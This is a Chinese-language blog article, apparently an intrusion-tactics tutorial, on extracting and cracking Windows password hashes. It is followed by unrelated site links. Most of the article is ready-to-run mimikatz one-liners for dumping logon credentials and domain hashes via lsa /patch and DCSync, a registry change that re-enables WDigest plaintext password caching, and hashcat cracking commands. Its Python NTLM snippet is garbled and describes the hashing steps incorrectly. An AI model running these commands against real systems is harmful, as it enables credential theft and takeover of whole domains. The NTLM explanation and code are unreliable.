当前位置: 首页 > news >正文

内网渗透技战法-windows密码抓取与破解

此为内网渗透技战法系列文章第一篇

Windows中的密码

在Windows2000以后,Windows机器都用NTLM算法在本地保存用户的密码,密码的NTLM哈希保存在%SystemRoot%\System32\config\SAM文件中。 Windows操作系统通常使用两种方法对用户的密码进行哈希处理,即 LAN Manager(LM)哈希和 NT LAN Manager(NTLM)哈希。所谓哈希(Hash),即使用一种加密方法对明文密码进行加密,对一个任意长度的字符串数据进行一次加密运算,都可以返回一个固定长度的字符串。Windows加密过的密码口令,我们称之为Hash。

Windows操作系统中的密码一般由两部分组成:一部分为LM Hash,另一部分为NTLM Hash。在Windows中,Hash的结构通常如下:

Username:RID:LM-Hash:NT-Hash

在windows2000以后的系统中,第一部分的 LM-hash 都是空值,因为LM-hash可以很容易的破解,所以windows2000之后这个值默认为空,所以第二部分的NTLM-hash才真正是用户密码的哈希值。

在渗透测试中,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件(在域环境中,用户信息存储在NTDS.dit中)中获得所有用户的Hash。也可以通过Mimikatz读取lsass.exe进程获得已登录用户的NTLM hash和明文值 。

image

NTLM哈希算法

1)将用户密码进行hex编码得到十六进制格式。

2)将得到的十六进制结果转换为Unicode编码。

3)使用MD4加密算法对Unicode转换的结果进行加密。

#coding:utf-8import hashlibimport binasciipassword \= "123456"binhex \= binascii.b2a\_hex(password)print "hex加密结果:"+binhexprint "Unincode转换结果 " + binhex.encode('utf-16le')print "md4加密结果 " + binascii.hexlify(hashlib.new('md4', binhex.encode('utf-16le')).digest())

mimikatz导出NTLM哈希值

提权

privilege::debug  #获取调试权限,允许访问 lsass.exe 进程内存
token::elevate  #提到system权限

0x01 读取登录用户Hash

本地执行获取系统中存储的明文密码、哈希

下载mimikatz程序,找到自己系统对应的位数,右键以管理员身份运行:

#提升权限
privilege::debug#抓取密码
sekurlsa::logonpasswords一句话命令
C:\Users\Public\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
C:\Users\Public\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit

当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。

cmd修改注册表命令,修改后可抓明文密码:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#重启或用户重新登录后可以成功抓取

image
右侧是WIN7本地Administrator账户抓取的hash,左侧是WIN7域管Administrator账户抓取的hash
image
左侧是WIN7域管Administrator账户,右侧是DC01域管Administrator账户抓取的hash,只有Administrator账户和DC01$机器用户,没有其他域用户DC,想抓取其他域用户需要lsadump::lsa /patch或DCSync

0x02 读取域控中域成员Hash

域控本地读取

注:得在域控上以域管理员身份执行mimikatz

方法一:直接执行

#提升权限
privilege::debug抓取密码
lsadump::lsa /patch
一句话模式
C:\Users\Public\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"

方法二:通过 dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值,可以在域管权限下执行获取:

#获取所有域用户
lsadump::dcsync /domain:test.com /all /csv#指定获取某个用户的hash
lsadump::dcsync /domain:test.com /user:test一句话
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

然后使用hashcat进行爆破

./hashcat -m 1000 -a 0 hash.txt -o result.txt passwords.txt
./hashcat -m 1000 -a 0 NTLM Hash passwords.txt
http://www.jsqmd.com/news/135160/

相关文章:

  • ModelEngine之Nexent:打破“玩具级”Agent开发天花板——从零代码构建到企业级MCP生态编排实战!
  • 电力场景高清图片输电线路鸟巢检测数据集VOC+YOLO格式490张1类别
  • 上下文范围图 - f
  • leetcode 773. Sliding Puzzle 滑动谜题 耗时100%
  • Windows桌面应用运行环境革新:智能化部署解决方案全解析
  • 3D转2D视频终极教程:VR-Reversal完全使用指南
  • 2026软件测试自动化面试题(含答案)
  • MonkeyLearn Python客户端:3步实现智能文本分析
  • AI算法工程师年薪最高154万,程序员如何抓住AI红利期?
  • 如何从单张图像中估计深度
  • 学长亲荐8个AI论文工具,研究生轻松搞定论文格式规范!
  • 机器学习041:深度学习【基础神经网络】全连接神经网络 -- 人工智能的“基础骨架”
  • WebToEpub终极指南:5分钟学会网页转EPUB电子书
  • 如何评估没有地面真实数据的 RAG
  • MCP不是API替代品!AI Agent开发者的避坑指南,建议收藏细读
  • 5分钟玩转BilibiliDown:解锁B站音频下载的实用技巧
  • 一文搞定Web 自动化之文件上传!
  • .NET Windows Desktop Runtime:桌面应用开发的终极解决方案
  • AI大模型精准医疗全攻略:从技术架构到应用场景的完整指南
  • 人工智能之数学基础 离散数学:第二章 图论
  • LuaDec51深度解析:Lua字节码逆向工程实战手册
  • 大模型代理幻觉全解析:五大类型、十八种触发原因与十种解决方案
  • 对于linux系统查日志的最佳实践
  • 大模型开发实战指南:8大流程详解+免费学习资源领取_大模型应用开发流程,非常详细!
  • 自然灾害与交通事故无人机检测数据集VOC+YOLO格式372张5类别
  • 102301309陈芳玲的总结
  • Agent基础:Shell 脚本、文件系统、进程管理、权限模型
  • Ultimaker Cura终极指南:从零掌握3D打印切片核心技术
  • 学长亲荐10个AI论文工具,MBA论文写作必备!
  • 安全书籍推荐第二期《一文带你揭秘网络勒索攻击:从基础知识到应对策略全解析》